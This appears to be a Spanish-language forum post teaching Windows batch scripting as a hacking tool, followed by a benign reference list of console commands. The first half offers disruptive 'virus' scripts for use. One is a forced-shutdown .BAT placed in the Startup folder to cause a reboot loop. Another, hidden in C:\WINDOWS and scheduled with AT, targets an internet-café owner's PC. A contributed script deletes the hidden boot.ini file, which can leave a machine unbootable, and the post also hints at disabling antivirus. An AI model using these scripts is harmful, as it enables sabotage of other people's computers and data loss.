Ufff!!!... vamos a estrenar ésta área también.... con éste lenguaje interesante, práctico y dentro de todo fácil... a ver les comparto ésta
Breve Introducción:Que es eso raro del BATCH? Para que me puede servir? Esto sirve para hackear?Batch es un lenguaje de programación MUY FÁCIL que se usa en la consola del S.O. windows.
Es un lenguaje que no necesita software, ni compiladores.. y en poco tiempo te permite hacer verdaderas curiosidades.
Sirve para hackear? POR SUPESTO!!
Vamos a empezar con una practica muy sencilla.
Ve a INICIO, luego a EJECUTAR y escribe CMD si tienes XP o Seven.
Se abre una pantalla negra con letras blancas. A esto se le llama msdos, console, consola, línea de comandos o shell. Desde allí puedes escribir comandos que darían órdenes especificas a tu maquina. Las instrucciones que escribas aquí tendrán prioridad absoluta en todo momento. Por ello la efectividad de este lenguaje. Sencillez, Rapidez y Efectividad se unen para formar este lenguaje de programación.
Ok ahora escribe lo siguiente en la consola CMD:
shutdown -s -t 120 -c "Probando una cosa" Escribelo tál cuál y presiona enter
Este es el metodo que usa el famoso virus lsasser que se ha propagado por todo el mundo.
Para detenerlo escribe shutdown -a y todo volvería a la normalidad.
Acabamos de descubrir la forma de crear un virus (algo mediocre) en 10 segundos!!
Que necesito para comenzar?
Windows. Recomendable a partir de XP... pero Seven y Creería que hasta Win8 también sirve. La linea de comandos y el bloc de notas de windows. Con un poco de paciencia verás como salen cosas interesantes!.
Seguimos con nuestro ejemplo practico. Abre el bloc de notas. Escribe allí lo siguiente:
shutdown -s -f -t 15 -c "Virus Creado Por Mí!!"
Ahora le damos a GUARDAR COMO, Seleccionamos TODOS LOS ARCHIVOS, y lo guardamos con el siguiente nombre: MIVIRUS.BAT
Es imprescindible que tenga extension .BAT y Ok, acabas de crear tu primer virus.
TAN FACIL?? No te lo puedes ni creer verdad? prueba a pinchar dos veces sobre el a ver que ocurre...
El equipo se apagara en 15 segundos!! Esta véz solo podrías poner shutdown -a a tiempo si eres extremadamente rápido!!
Si copias este archivo mivirus.bat en la carpeta programas\inicio del windows abras creado un verdadero problema...
Esta carpeta tiene la capacidad de iniciar en el arranque cualquier programa que esta dentro de ella. Si colocamos nuestro recién creado virus.. haremos que el ordenador no permanezca encendido mas de 15 segundos!!
Usaremos la línea de comandos como centro de prácticas, y el bloc de notas como compilador.
Como vés es uno de los lenguajes de programación mas sencillos que existen.
Para avanzar mas rápido no voy a comentar los comandos mas usuales como DIR, DEL, RD, MD, CD, EXIT, etc... puedes buscar cualquier manual para msdos de xp. hay miles en google.
Empezaremos con cosas sencillas... y acabaremos haciendo algunas cosas interesantes.. .
----------------------------------------------------------------------------------------------------------------------
Seguimos un poco con el comando shutdown:Accedemos a la consola.
Si escribimos HELP tendremos una lista de los comandos basicos del sistema, con una breve explicación de que hace cada uno.
Si queremos información mas especifica solo tenemos que escribir el nombre del comando /?.
por ejemplo, escribe:
shutdown /?
Te saldría explicado que utilidad tiene este comando y todos sus modificadores. un modificador o parámetro es -f, -t, -a, /vv, /L, etc.. se colocan después del comando y sirven para darle instrucciones más precisas.
Vamos a comentar por encima los parámetros de shutdown que más vamos a usar de ahora en adelante:
-s Da la orden de apagar el equipo (shutdown -s = apaga el equipo al instante)
-r En vez de apagar lo que hace es reiniciar el equipo. (shutdown -r)
-a Con esta orden evitamos que el sistema se apaga o reinicie.
-f Fuerza a cerrar todas las aplicaciones que requieran autorización o confirmación!!
-c "" Entre las comillas puedes poner un comentario que saldría en la pantalla de aviso.
-t 00 puedes poner el tiempo en segundos que quieres que dure el Pc encendido.
Veamos con un ejemplo práctico:Estoy instalando una actualización de windows que tarda 20 minutos en instalarse.. y después tendría que reiniciar el equipo para que haga efecto. Pero no me apetece estar 20 minutos sentado delante de la pantalla.. Tecleamos lo siguiente:
shutdown -r -f -t 1800esto haría que en 30 minutos (30min x 60sg=1800sg) el pc se reinicie (-r) sin pedir confirmación y forzando a cerrar todas las aplicaciones (-f)
Otro supuesto:Estoy en un ciber.. y me cae muy mal el dueño. además sospecho que la vez anterior me cobró de más... asi que voy a gastarle una broma simpática que no revertira daños en el pc...
pondremos lo siguiente:at 17:15 shutdown -s -f -t 15 -c "De camino que vas a decirle al dueño que se te ha apagado el ordenador, dile que es un "soy un "soy un "soy un "soy un "soy un "soy un "soy un capullo""""""" de mi parte"
JAJAJAJAJAJA!! Habría que ver la cara que pone el que está usando el pc al ver este mensaje!!
Y bueno ya hemos programado una tarea con el comando AT para que se ejecute a las 17:15h.
Este es otro comando que usaremos mucho.. y que ofrece grandes posibilidades. Puedes, por ejemplo programar que cargue el CounterStrike a la hora que tu quieras... o que se desactive el antivirus.. (jejeje paciencia.. todo a su debido tiempo).
Tengo que hacer una corrección a este pequeño manual:El programador de tareas en la linea de comandos (AT) no funciona tál y como viene líneas mas arriba.
Aunque en la misma ayuda del comando viene explícito la posibilidad de REPLACEAR comandos, esto no es cierto en la práctica.
Tendremos que crear un archivo .bat con el código y guardarlo en un carpeta, y POSTERIORMENTE programarlo para que se ejecute.
En el ejemplo de arriba, haríamos un .bat con el siguiente código:shutdown -s -f -t 15 -c "De camino que vas a decirle al dueño que se te ha apagado el ordenador, dile que es un "soy un "soy un "soy un "soy un "soy un "soy un "soy un capullo""""""" de mi parte"
Le ponemos un nombre que no llame mucho la atención y lo guardamos en una carpeta. Por ejemplo lo llamaremos SHUT.BAT y lo guardaremos en C:\WINDOWS ok?.
Luego para programarlo escribiremos directamente en la linea de comandos:AT 17:15 C:\WINDOWS\SHUT.BAT De esta manera se ejecutara sin problemas.
Soy nuevo, pero se me ocurrio algo, para agregarle al shutdown... para hacer un poco más molesto este
Cuasi-Virus.
Que pasaria si agregaramos del /f /a:h /a:s c:\boot.ini
y despues shutdown -s -t 5
Quedaria una cosa asi:
@echo off
Title Virus, o casi...
del /f /a:h /a:s c:\boot.ini
shutdown -s -t 5
Echo Y bueno son cosas que pasan =S
Pause > null
------
Otra recopilación de nuestro amigo JeSuLeS ReC:En Windows XP hay muchísimos comandos utiles, pero lo malo de todo esto es su gran desconocimiento. Para poder utilizarlos, debemos abrir la consola de comandos, o la ventanita de MS-dos. En Windows XP, o Seven por ejemplo, podemos acceder a ella clickando en:
Inicio > Ejecutar > cmd o bien pulsando la tecla Windows + R
Con todos estos comandos, también podemos solicitar una ayuda, añadiendo uno de los siguiente parámetros: /? - /h a nuestra llamada.
Comandos de Archivos y sistemas de ficheroscacls - Permite modificar los permisos de lectura y escritura en ficheros y carpetas
chkdsk - Comprueba el estado de una partición y repara los daños en caso de que encuentre alguno. Sin parámetros simplemente escanea e informa de errores. Para que además repare, añadimos el parámetro /F: chkdsk /F
cipher - Cifrado de datos en particiones NTFS.
comp - Compara archivos o carpetas y muestra las diferencias existentes entre ellos.
compact - Compresor de archivos. El parámetro para la compresión es /C, el parámetro para descomprimir es /U.
convert - Conversor de particiones, convierte particiones FAT16 o FAT32 en particiones NTFS sin perdida de datos.
defrag - Defragmentador de archivos.
diskpart - Permite crear, eliminar y administrar particiones. A este programa en modo consola debemos utilizarlo con cuidado puesto que es fácil que eliminemos sin darnos cuenta todo el contenido del disco duro o de la partición activa.
find y findstr - Comandos de búsqueda de ficheros.
findstr permite buscar cadenas de caracteres dentro de los archivos.
iexpress - Asistente para crear comprimidos .CAB.
openfiles - Muestra a un administrador los archivos abiertos en un sistema y permite desconectarlos si se han abierto atreves de red.
Comandos de Configuración e información del sistema bootcfg - Configurador de arranque. Simplemente modifica el archivo
boot.ini para indicar opciones de arranque.
control
userpasswords2 - Permite modificar las claves y los permisos de los diferentes usuarios, asi como requerir la pulsación de control+alt+suprimir para poder iniciar sesión, haciendo el inicio de sesión mas seguro.
driverquery - Crea un informe sobre los dirvers instalados en el sistema. Muestra además información detallada de cada uno.
dxdiag - Herramienta de diagnostico de DirectX.
gpresult - Información de las políticas de grupo aplicadas a un usuario.
gpupdate - Actualizar las políticas de grupo.
pagefileconfig - Configuración de la memoria virtual de Windows.
prncnfg - Información sobre las impresoras instaladas.
prnjobs - Información sobre los trabajos de impresion en cola.
reg - Permite ver y modificar valores del registro de Windows.
Opciones posibles:reg query: consulta en el registro
reg add: añadir entrada
reg delete: eliminar entrada
reg copy: copiar clave en otro lugar del registro
reg save: guardar parte del registro
reg restore: restaura el registro
reg load: cargar valor o clave desde un archivo .reg
reg unload: descargar valor o clave
reg compare: comparar valores de registro
reg export: exportar registro a un archivo
reg import: importar registro a un archivo
sc - Administrador de servicios, podemos detenerlos, ejecutarlos, etc.
sfc - Este comando permite buscar archivos del sistema dañados y recuperarlos en caso de que estén defectuosos (es necesario el CD de instalación del sistema operativo para utilizarlo). Para realizar una comprobación inmediata, deberemos ejecutar la orden
sfc /scannow.
systeminfo - Muestra información sobre nuestro equipo y nuestro sistema operativo: número de procesadores, tipo de sistema, actualizaciones instaladas, etc.
taskkill - Permite matar procesos conociendo su nombre o su número de proceso (PID).
Tasklist - Informe sobre los procesos ejecutados en el sistema.
Comandos de Redesarp - Muestra y permite modificar las tablas del protocolo ARP, encargado de convertir las direcciones IP de cada ordenador en direcciones MAC (dirección física única de cada tarjeta de red)
ftp - Cliente FTP en modo consola de comandos.
getmac - Muestra las direcciones MAC de los adaptadores de red que tengamos instalados en el sistema.
ipconfig - Muestra y permite renovar la configuracion de todos los interfaces de red.
nbtstat - Muestra las estadísticas y las conexiones actuales del protocolo NetBIOS sobre TCP/IP, los recursos compartidos y los recursos que son accesibles.
net - Permite administrar usuarios, carpetas compartidas, servicios, etc. Para un listado completo de todas las opciones, escribir net sin ningún argumento. Para obtener ayuda sobre alguna opción en concreto, escribe net help opción.
netsh - Programa en modo consola permite ver, modificar y diagnosticar la configuración de la red
netstat - Información sobre las conexiones de red de nuestro equipo.
nslookup - Aplicación de red orientada a obtener información en los servidores DNS sobre un host en concreto.
pathping - Muestra la ruta que sigue cada paquete para llegar a una IP determinada, el tiempo de respuesta de cada uno de los nodos por los que pasa.
Estadisticas de cada uno de ellosping - Comando para comprobar si una máquina esta en red o no.
rasdial - Permite establecer o finalizar una conexión telefónica.
route - Permite ver o modificar las tablas de enrutamiento de red.
tracert - Informa sobre el camino que siguen los paquetes IP desde que sale de nuestra máquina hasta que llega a su destino.
Comandos Miscelaneaat - Permite programar tareas para que nuestro ordenador las ejecute en una fecha o en un momento determinado.
logoff - Comando para cerrar sesiones, incluso en equpos remotos.
msg - Envia mensajes por la red a otros equipos.
msiexec - Comando para ejecutar archivos de instalacion .MSI.
runas - Ejecución de programas como si fueras otro usuario.
shctasks - Administrador de tareas programadas.
shutdown - Comando para apagar, reiniciar el equipo. Es especialmente util si hemos sido infectado con el virus Blaster o una de sus variantes para cancelar la cuenta atrás. Para ello, tán solo tendremos que utilizar la sintaxis
shutdown -aComandos de Microsoft Management Console (MMC)Los siguientes comandos no son más que los accesos a cada sección de la MMC que lanzarán una interfaz grafica.
ciadv.msc - Permite configurar el servicio de indexado que acelera las busquedas en el disco duro.
compmgmt.msc - Da acceso a la Administración de equipos, desde donde podemos configurar nuestro ordenador y acceder a otras partes de la MMC.
devmgmt.msc - Administrador de dispositivos.
dfrg.msc - Defragmentador de disco.
diskmgmt.msc - Administrador de discos.
fsmgmt.msc - Monitorización y Administración de los recursos compartidos.
gpedit.msc - Políticas de grupo.
lusrmgr.msc - Administración de usuarios.
ntmsmgr.msc - Administración de dispositivos de almacenamiento extraibles.
ntmsoprq.msc - Monitorización de las solicitudes de operador de medios extraibles.
perfmon.msc - Monitor de sistema.
secpol.msc - Configuración de seguridad local.
services.msc - Administrador de servicios.
Wow... en fín como ven no es dificil, pero sí necesita de un poco de buena memoria y práctica, es interesante poder aplicar la creatividad y la imaginación para jugar con éstos parámetros....
SIGUE ----->